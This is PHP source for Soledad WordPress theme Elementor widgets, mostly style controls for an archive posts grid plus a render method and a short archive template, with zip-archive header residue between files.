			Group_Control_Typography::get_type(), array(
				'name'     => 'pmeta_typo',
				'selector' => $pmeta_typo
			)
		);
		$this->add_responsive_control(
			'bpmeta_size', array(
				'label'     => __( 'Font size for Big Post', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array(
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-mixed .grid-mixed' )                        => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-mixed-2 .item.overlay-layout' )             => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-grid article.format-standard' )    => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-grid-2 article.format-standard' )  => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-list article.format-standard' )    => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-standard-boxed-1 article.format-standard' ) => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-classic-grid article.format-standard' )     => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-classic-grid-2 article.format-standard' )   => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-classic-list article.format-standard' )     => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-grid .overlay-layout' )             => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-grid-2 .overlay-layout' )           => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-list .overlay-layout' )             => 'font-size: {{SIZE}}px !important',
					sprintf( $pmeta_typo_bpost, '.penci-latest-posts-overlay-boxed-1 .overlay-layout' )          => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-mixed-4 .penci-featured-infor .grid-post-box-meta'          => 'font-size: {{SIZE}}px !important',
				),
				'condition' => array( 'penci_style' => $style_big_post ),
			)
		);

		$this->add_control(
			'pmeta_border_color',
			array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .header-standard:after'                        => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-overlay-over .overlay-header-box:after' => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .grid-header-box:after'                        => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-post-box-meta'                          => 'border-color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'bpmeta_border_color', array(
				'label'     => __( 'Border Color for Big Post', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .grid-overlay .penci-overlay-over .overlay-header-box:after' => 'background-color: {{VALUE}};',
				),
				'condition' => array( 'penci_style' => $color_big_post ),
			)
		);


		// Post Excrept
		$markup_excrept = '{{WRAPPER}} .post-entry.standard-post-entry, {{WRAPPER}} .post-entry.standard-post-entry p,';
		$markup_excrept .= '{{WRAPPER}} .penci-grid .entry-content,{{WRAPPER}} .penci-grid .entry-content p,';
		$markup_excrept .= '{{WRAPPER}} .entry-content,{{WRAPPER}} .entry-content p';

		$this->add_control(
			'heading_excerpt_style',
			array(
				'label'     => __( 'Post Excerpt', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'pexcerpt_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( $markup_excrept => 'color: {{VALUE}};' )
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pexcerpt_typo',
				'selector' => $markup_excrept,
			)
		);
		$this->add_responsive_control(
			'bpexcerpt_size', array(
				'label'     => __( 'Font size for Big Post', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .entry-content,{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .entry-content p'                                               => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .entry-content p'       => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .entry-content p'   => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .entry-content p'       => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .entry-content p' => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .entry-content p'         => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .entry-content p'     => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .entry-content,{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .entry-content p'         => 'font-size: {{SIZE}}px !important',
				),
				'condition' => array(
					'penci_style' => array(
						'mixed',
						'standard-grid',
						'standard-grid-2',
						'standard-list',
						'standard-boxed-1',
						'classic-grid',
						'classic-grid-2',
						'classic-list'
					)
				),
			)
		);

		// Category
		$this->add_control(
			'heading_cat_style', array(
				'label'     => __( 'Post Category', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'pcat_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .cat > a.penci-cat-name'                                                                        => 'color: {{VALUE}};',
					'{{WRAPPER}} .cat > a.penci-cat-name:after, {{WRAPPER}} .overlay-header-box .cat > a.penci-cat-name:after'   => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-grid .cat a.penci-cat-name:after,{{WRAPPER}} .penci-masonry .cat a.penci-cat-name:after' => 'border-color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'pcat_hcolor', array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'bpcat_color', array(
				'label'     => __( 'Color for Big Post', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .grid-overlay .cat > a.penci-cat-name'                                                                                            => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-featured-infor .cat > a.penci-cat-name:after, {{WRAPPER}} .grid-overlay .overlay-header-box .cat > a.penci-cat-name:after' => 'border-color: {{VALUE}};',
				),
				'condition' => array( 'penci_style' => $color_big_post ),
			)
		);
		$this->add_control(
			'bpcat_hcolor', array(
				'label'     => __( 'Hover Color for Big Post', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .grid-overlay .cat > a.penci-cat-name:hover' => 'color: {{VALUE}};' ),
				'condition' => array( 'penci_style' => $color_big_post ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pcat_typo',
				'selector' => '{{WRAPPER}} .cat > a.penci-cat-name',
			)
		);
		$this->add_responsive_control(
			'bpcat_size', array(
				'label'     => __( 'Font size for Big Post', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .cat > a.penci-cat-name'                        => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-mixed-2 .item.overlay-layout .cat > a.penci-cat-name'             => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .cat > a.penci-cat-name'    => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .cat > a.penci-cat-name'  => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .cat > a.penci-cat-name'    => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .cat > a.penci-cat-name' => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .cat > a.penci-cat-name'     => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .cat > a.penci-cat-name'   => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .cat > a.penci-cat-name'     => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-grid .grid-overlay .cat > a.penci-cat-name'               => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-grid-2 .grid-overlay .cat > a.penci-cat-name'             => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-list .grid-overlay .cat > a.penci-cat-name'               => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-boxed-1 .grid-overlay .cat > a.penci-cat-name'            => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-mixed-4 .penci-featured-infor .cat > a.penci-cat-name'            => 'font-size: {{SIZE}}px !important',
				),
				'condition' => array( 'penci_style' => $style_big_post ),
			)
		);

		// Read more button
		$this->add_control(
			'heading_readmore_style',
			array(
				'label'     => __( 'Continue Reading/Read More Button', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'readmore_text_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-more-link a.more-link' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'readmore_text_hcolor',
			array(
				'label'     => __( 'Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-more-link a.more-link:hover' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'readmorebt_text_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-readmore-btn a' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'readmorebt_text_hcolor',
			array(
				'label'     => __( 'Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-readmore-btn a:hover' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'readmore_bg_color',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-readmore-btn.penci-btn-make-button a' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'readmore_bg_hcolor',
			array(
				'label'     => __( 'Background Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-readmore-btn.penci-btn-make-button a:hover' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'label'    => __( 'Continue Reading Typography', 'soledad' ),
				'name'     => 'readmore_text_typo',
				'selector' => '{{WRAPPER}} .penci-more-link a.more-link',
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'label'    => __( 'Read More Button Typography', 'soledad' ),
				'name'     => 'readmorebtn_text_typo',
				'selector' => '{{WRAPPER}} .penci-readmore-btn a',
			)
		);
		$this->add_control(
			'readmore_line_color',
			array(
				'label'     => __( 'Line Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-more-link a.more-link:before,{{WRAPPER}} .penci-more-link a.more-link:after' => 'border-color: {{VALUE}};' ),
			)
		);

		// Social Share
		$this->add_control(
			'heading_socialshare_style',
			array(
				'label'     => __( 'Social Share', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'socialshare_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-post-box-meta .penci-post-share-box a, {{WRAPPER}} .penci-featured-share-box a' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'socialshare_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-post-box-meta .penci-post-share-box a:hover, {{WRAPPER}} .penci-featured-share-box a:hover' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'socialshare_bgcolor',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-featured-share-box .penci-shareic, {{WRAPPER}} .penci-featured-share-box .penci-shareso' => 'background-color: {{VALUE}};' ),
				'condition' => array( 'penci_style' => $style_extra_post ),
			)
		);
		$this->add_control(
			'socialshare_line_color',
			array(
				'label'     => __( 'Line Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-post-box-meta.penci-post-box-grid:before' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'socialshare_typo',
				'selector' => '{{WRAPPER}} .penci-post-box-meta .penci-post-share-box a',
			)
		);
		$this->add_responsive_control(
			'bsocialshare_size', array(
				'label'     => __( 'Font size for Big Post', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-latest-posts-mixed-2 .item.overlay-layout .penci-post-box-meta .penci-post-share-box a'             => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .penci-post-box-meta .penci-post-share-box a'                        => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .penci-post-box-meta .penci-post-share-box a'    => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .penci-post-box-meta .penci-post-share-box a'  => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .penci-post-box-meta .penci-post-share-box a'    => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .penci-post-box-meta .penci-post-share-box a' => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .penci-post-box-meta .penci-post-share-box a'     => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .penci-post-box-meta .penci-post-share-box a'   => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .penci-post-box-meta .penci-post-share-box a'     => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-grid .grid-overlay .penci-post-share-box a'                                    => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-grid-2 .grid-overlay .penci-post-share-box a'                                  => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-list .grid-overlay .penci-post-share-box a'                                    => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-boxed-1 .grid-overlay .penci-post-share-box a'                                 => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-mixed-4 .grid-featured .penci-post-share-box a'                                        => 'font-size: {{SIZE}}px !important',
				),
				'condition' => array( 'penci_style' => $style_big_post ),
			)
		);

		// Social Share
		$this->add_control(
			'heading_extra_style',
			array(
				'label'     => __( 'Extra Options', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
				'condition' => array( 'penci_style' => $style_extra_post ),
			)
		);

		$this->add_control(
			'borders_color_sfeatured',
			array(
				'label'     => __( 'Borders Color for Featured Boxed Style', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .grid-featured' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'penci_style' => $style_extra_post ),
			)
		);

		$this->add_control(
			'bg_color_sfeatured',
			array(
				'label'     => __( 'Background Color for Featured Boxed Style', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .grid-featured' => 'background-color: {{VALUE}};' ),
				'condition' => array( 'penci_style' => $style_extra_post ),
			)
		);

		$this->end_controls_section();

		// Pagination
		$this->start_controls_section(
			'section_pagination_style', array(
				'label' => __( 'Pagination', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pagination_typography',
				'selector' => '{{WRAPPER}} .penci-pagination ul.page-numbers li a i, {{WRAPPER}} .penci-pagination ul.page-numbers li span,{{WRAPPER}} .penci-pagination ul.page-numbers li a, {{WRAPPER}}  .penci-pagination.penci-ajax-more a.penci-ajax-more-button'
			)
		);
		$this->add_responsive_control(
			'pagination_icon', array(
				'label'     => __( 'Font size for Load More Icon', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pagination a.penci-ajax-more-button i, {{WRAPPER}}  .penci-pagination .disable-url i' => 'font-size: {{SIZE}}px' ),
				'condition' => array( 'penci_paging' => array( 'loadmore', 'scroll' ) ),
			)
		);
		$this->add_control(
			'pagination_color_heading', array(
				'label'     => __( 'Colors', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before'
			)
		);

		$this->start_controls_tabs( 'pagination_colors' );

		$this->start_controls_tab(
			'pagination_color_normal', array(
				'label' => __( 'Normal', 'soledad' )
			)
		);

		$this->add_control(
			'pagination_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-pagination ul.page-numbers li span,'                 => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-pagination ul.page-numbers li a'                     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'color: {{VALUE}};'
				)
			)
		);
		$this->add_control(
			'pagination_bordercolor', array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-pagination ul.page-numbers li span,'                 => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-pagination ul.page-numbers li a'                     => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'border-color: {{VALUE}};'
				)
			)
		);
		$this->add_control(
			'pagination_bgcolor', array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-pagination ul.page-numbers li span,'                 => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-pagination ul.page-numbers li a'                     => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'background-color: {{VALUE}};'
				)
			)
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'pagination_color_hover', array(
				'label' => __( 'Hover', 'soledad' )
			)
		);

		$this->add_control(
			'pagination_hover_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}}  .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover' => 'color: {{VALUE}}',
					'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'                      => 'color: {{VALUE}}',
					'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current'                 => 'color: {{VALUE}}'
				)
			)
		);
		$this->add_control(
			'pagination_hbordercolor', array(
				'label'     => __( 'Hover Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}}  .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover' => 'border-color: {{VALUE}}',
					'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'                      => 'border-color: {{VALUE}}',
					'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current'                 => 'border-color: {{VALUE}}'
				)
			)
		);
		$this->add_control(
			'pagination_hbgcolor', array(
				'label'     => __( 'Hover Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover' => 'background-color: {{VALUE}}',
					'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'                     => 'background-color: {{VALUE}}',
					'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current'                => 'background-color: {{VALUE}}'
				)
			)
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->add_responsive_control(
			'pagination_spacing', array(
				'label'     => __( 'Space Between', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'separator' => 'before',
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-pagination' => 'margin-top: {{SIZE}}{{UNIT}}'
				)
			)
		);

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings = $this->get_settings();

		$query_data_check = penci_elementor_is_edit_mode() ? 'post' : 'current_query';

		if ( penci_elementor_is_edit_mode() ) {
			$query_data = [
				'posts_post_type' => 'post',
			];
		} else {
			$query_data = [
				'posts_post_type' => 'current_query',
			];
		}

		$query_args = Query_Control::get_query_args( 'posts', array_merge( $settings, $query_data ) );

		if ( $settings['aposts_per_page'] ) {
			$query_args['posts_per_page'] = $settings['aposts_per_page'];
		}

		$ads_code = '';
		if ( $settings['infeedads_code'] ) {
			$ads_code = base64_encode( rawurlencode( $settings['infeedads_code'] ) );
		}
		$order_columns        = isset( $settings['order_columns'] ) ? $settings['order_columns'] : '';
		$order_columns_tablet = isset( $settings['order_columns_tablet'] ) ? $settings['order_columns_tablet'] : $order_columns;
		$order_columns_mobile = isset( $settings['order_columns_mobile'] ) ? $settings['order_columns_mobile'] : $order_columns;

		echo \Soledad_VC_Shortcodes::latest_posts( array(
			'heading'             => $settings['heading'],
			'hide_block_heading'  => $settings['hide_block_heading'],
			'heading_title_style' => $settings['heading_title_style'],
			'heading_title_link'  => $settings['heading_title_link'],
			'heading_title_align' => $settings['block_title_align'],
			'heading_icon_pos'    => $settings['heading_icon_pos'],
			'heading_icon'        => $settings['heading_icon'],
			'style'               => $settings['penci_style'],
			'paging'              => $settings['penci_paging'],
			'penci_mixed_style'   => $settings['penci_mixed_style'],
			'morenum'             => $settings['morenum'],

			'standard_meta_overlay'   => $settings['standard_meta_overlay'],
			'standard_thumbnail'      => $settings['standard_thumbnail'],
			'std_dis_at_gallery'      => $settings['std_dis_at_gallery'],
			'standard_thumb_crop'     => $settings['standard_thumb_crop'],
			'standard_share_box'      => $settings['standard_share_box'],
			'standard_cat'            => $settings['standard_cat'],
			'standard_author'         => $settings['standard_author'],
			'standard_date'           => $settings['standard_date'],
			'standard_comment'        => $settings['standard_comment'],
			'standard_viewscount'     => $settings['standard_viewscount'],
			'standard_readtime'       => $settings['standard_readtime'],
			'standard_remove_line'    => $settings['standard_remove_line'],
			'standard_auto_excerpt'   => $settings['standard_auto_excerpt'],
			'standard_remove_excerpt' => $settings['standard_remove_excerpt'],
			'standard_effect_button'  => $settings['standard_effect_button'],
			'std_continue_btn'        => $settings['std_continue_btn'],
			'grid_icon_format'        => $settings['grid_icon_format'],
			'grid_meta_overlay'       => $settings['grid_meta_overlay'],
			'grid_nocrop_list'        => $settings['grid_nocrop_list'],
			'grid_share_box'          => $settings['grid_share_box'],
			'grid_cat'                => $settings['grid_cat'],
			'grid_author'             => $settings['grid_author'],
			'grid_date'               => $settings['grid_date'],
			'grid_comment'            => $settings['grid_comment'],
			'grid_comment_other'      => $settings['grid_comment_other'],
			'grid_viewscount'         => $settings['grid_viewscount'],
			'grid_readtime'           => $settings['grid_readtime'],
			'grid_remove_line'        => $settings['grid_remove_line'],
			'grid_remove_excerpt'     => $settings['grid_remove_excerpt'],
			'grid_add_readmore'       => $settings['grid_add_readmore'],
			'grid_remove_arrow'       => $settings['grid_remove_arrow'],
			'grid_readmore_button'    => $settings['grid_readmore_button'],
			'grid_readmore_align'     => $settings['grid_readmore_align'],
			'grid_excerpt_length'     => $settings['grid_excerpt_length'],
			'standard_excerpt_length' => $settings['standard_excerpt_length'],
			'post_alignment'          => $settings['post_alignment'],
			'std_continue_align'      => $settings['std_continue_align'],
			'std_excerpt_align'       => $settings['std_excerpt_align'],
			'share_alignment'         => $settings['share_alignment'],
			'grid_excerpt_align'      => $settings['grid_excerpt_align'],
			'standard_title_length'   => $settings['standard_title_length'],
			'grid_title_length'       => $settings['grid_title_length'],
			'penci_featimg_size'      => $settings['penci_featimg_size'],
			'penci_featimg_ratio'     => $settings['penci_featimg_ratio'],
			'thumb_size'              => $settings['thumb_size'],
			'thumb_bigsize'           => $settings['thumb_bigsize'],
			'order_columns'           => $order_columns,
			'order_columns_tablet'    => $order_columns_tablet,
			'order_columns_mobile'    => $order_columns_mobile,
			'infeed_num'              => $settings['infeedads_num'],
			'infeed_code'             => $ads_code,
			'infeed_layout'           => $settings['infeedads_layout'],

			'archive_buider_check' => $query_data_check,
			'elementor_query'      => $query_args
		) );
	}
}
PK     2w\|    ,  template-builder/archive-elements/render.phpnu [        <?php
add_filter( 'body_class', function ( $class ) {
	$class[] = 'pccustom-template-enable';

	return $class;
} );
get_header(); ?>
<div class="container-archive-page">
    <div id="main" class="penci-custom-archive-template">
		<?php
		$post_id = penci_should_render_archive_template();
		if ( $post_id ) {

			if ( class_exists( '\Elementor\Plugin' ) && did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $post_id )->is_built_with_elementor() ) {

				echo penci_get_elementor_content( $post_id );

			} else {
				$builder_content = get_post( $post_id );
				echo '<div class="js-composer-content">';
				echo do_shortcode( $builder_content->post_content );

				$shortcodes_custom_css = get_post_meta( $post_id, '_wpb_shortcodes_custom_css', true );

				echo '<style data-type="vc_shortcodes-custom-css">';
				if ( ! empty( $shortcodes_custom_css ) ) {
					echo $shortcodes_custom_css;
				}
				echo '</style>';
				echo '</div>';
			}
		}
		?>
    </div>
</div>
<?php get_footer(); ?>
PK     2w\:>d7  7  .  template-builder/archive-elements/taxonomy.phpnu [        <?php

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Widget_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciArchiveTaxonomy extends Widget_Base {

	public function get_title() {
		return esc_html__( 'Archive - Taxonomies', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-text';
